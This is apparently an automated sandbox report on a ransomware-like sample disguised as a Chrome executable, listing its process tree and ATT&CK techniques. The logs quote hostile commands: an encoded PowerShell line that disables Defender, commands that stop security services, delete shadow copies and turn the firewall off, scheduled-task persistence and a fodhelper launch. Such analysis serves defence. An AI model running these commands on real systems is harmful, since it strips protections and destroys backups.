PID 1964 wrote to memory of 4492	1964	aimitalia.news_chrome.exe	121
PID 1964 wrote to memory of 2864	1964	aimitalia.news_chrome.exe	123
PID 1964 wrote to memory of 3236	1964	aimitalia.news_chrome.exe	130
PID 1964 wrote to memory of 4944	1964	aimitalia.news_chrome.exe	131
PID 1964 wrote to memory of 316	1964	aimitalia.news_chrome.exe	133
PID 1964 wrote to memory of 304	1964	aimitalia.news_chrome.exe	138
PID 1964 wrote to memory of 392	1964	aimitalia.news_chrome.exe	139
PID 1964 wrote to memory of 4108	1964	aimitalia.news_chrome.exe	141
PID 1964 wrote to memory of 4868	1964	aimitalia.news_chrome.exe	142
PID 1964 wrote to memory of 720	1964	aimitalia.news_chrome.exe	143
PID 1964 wrote to memory of 2280	1964	aimitalia.news_chrome.exe	144
PID 1964 wrote to memory of 6112	1964	aimitalia.news_chrome.exe	145
PID 1964 wrote to memory of 388	1964	aimitalia.news_chrome.exe	146
PID 1964 wrote to memory of 3256	1964	aimitalia.news_chrome.exe	148
PID 1964 wrote to memory of 6008	1964	aimitalia.news_chrome.exe	155
PID 1964 wrote to memory of 5744	1964	aimitalia.news_chrome.exe	200
PID 1964 wrote to memory of 3444	1964	aimitalia.news_chrome.exe	157
PID 1964 wrote to memory of 5172	1964	aimitalia.news_chrome.exe	158
PID 1964 wrote to memory of 4264	1964	aimitalia.news_chrome.exe	159
PID 392 wrote to memory of 5956	392	cmd.exe	160
PID 1964 wrote to memory of 3608	1964	aimitalia.news_chrome.exe	161
PID 1964 wrote to memory of 5616	1964	aimitalia.news_chrome.exe	162
PID 6112 wrote to memory of 436	6112	cmd.exe	168
PID 2280 wrote to memory of 4732	2280	cmd.exe	170
PID 4868 wrote to memory of 1308	4868	cmd.exe	171
PID 4108 wrote to memory of 4300	4108	cmd.exe	172
PID 388 wrote to memory of 3524	388	cmd.exe	173
PID 720 wrote to memory of 6052	720	cmd.exe	174
PID 4732 wrote to memory of 3768	4732	net.exe	175
PID 5172 wrote to memory of 1852	5172	net.exe	176
PID 392 wrote to memory of 200	392	cmd.exe	177
PID 3200 wrote to memory of 1328	3200	chrome.exe	179
PID 3200 wrote to memory of 1992	3200	chrome.exe	180
PID 3200 wrote to memory of 2432	3200	chrome.exe	181
PID 3200 wrote to memory of 1992	3200	chrome.exe	180
PID 3200 wrote to memory of 2432	3200	chrome.exe	181
PID 3200 wrote to memory of 5660	3200	chrome.exe	184
PID 3200 wrote to memory of 4936	3200	chrome.exe	185

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://aimitalia.news
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xa0,0x134,0x7fffa55dc728,0x7fffa55dc734,0x7fffa55dc740
    3⤵
    PID:4124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,18219553556237854106,17108049974477934271,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2016,i,11652680334293802842,13974664316228100258,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:13
    3⤵
    PID:4880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2884,i,18363456804291129556,12953776493594821209,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
    3⤵
    PID:5716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2892,i,12658736232886181734,9856239569899828746,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:1
    3⤵
    PID:5632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,6360931244118879924,17303682331670166657,262144 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:2
    3⤵
    PID:1020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4604,i,12707692268955063351,8040260468478249078,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=4652 /prefetch:14
    3⤵
    PID:3240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4644,i,6088779427156090098,13037292402137606300,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:14
    3⤵
    PID:1328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5368,i,15776146591964860519,3098513735851556899,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:1
    3⤵
    PID:1992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5420,i,12801311182964462797,12493576110813428764,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:1
    3⤵
    PID:2432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5488,i,9059014653673508216,3212515352908224054,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:1
    3⤵
    PID:5660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5728,i,16271934809264111276,6536095125711936741,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:14
    3⤵
    PID:4936
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5472,i,5573996777081504962,12864447523120345916,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
    3⤵
    PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6080,i,9543519469062548540,16224193001497797463,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
    3⤵
    PID:4952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5444,i,14441352262069529301,13583015379695475519,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:1
    3⤵
    PID:5720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6008,i,12815811853524516205,12364212081876018054,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5272,i,7998279162479612312,3809623576789720020,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:1
    3⤵
    PID:1908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6008,i,13778783187360222299,16499898471249127823,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:14
    3⤵
    PID:6120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5404,i,9077389432446466917,767630646401250873,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:1
    3⤵
    PID:1364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6008,i,7507258219780936484,14351312967187620348,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:1
    3⤵
    PID:4076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=3056,i,13835659100170255652,10095862266480950964,2097152 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:9
    3⤵
    PID:5920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,14321026665536802282,8783572427477988138,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:14
    3⤵
    PID:5524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6096,i,18275219652027621541,10936950155162891058,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
    3⤵
    PID:3528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,7762987894717188977,1442130093430119891,524288 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:14
    3⤵
    PID:2404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5820,i,11080677003067312655,5365631894213699866,262144 --field-trial-handle=2368,i,8848483848792421592,7973137491972524365,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:10
    3⤵
    PID:3192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5616
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:820
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3524
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3972
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2972
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1856
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3528
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe"
    3⤵
    PID:1328
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4280
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4492
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3236
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4944
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:316
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5956
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1308
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:720
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:6052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6112
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3524
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3256
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6008
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5744
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3444
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1852
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5616

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3000

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe
C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe
1⤵
PID:2304

C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe
C:\Users\Admin\AppData\Local\Temp\aimitalia.news_chrome.exe
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2408

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery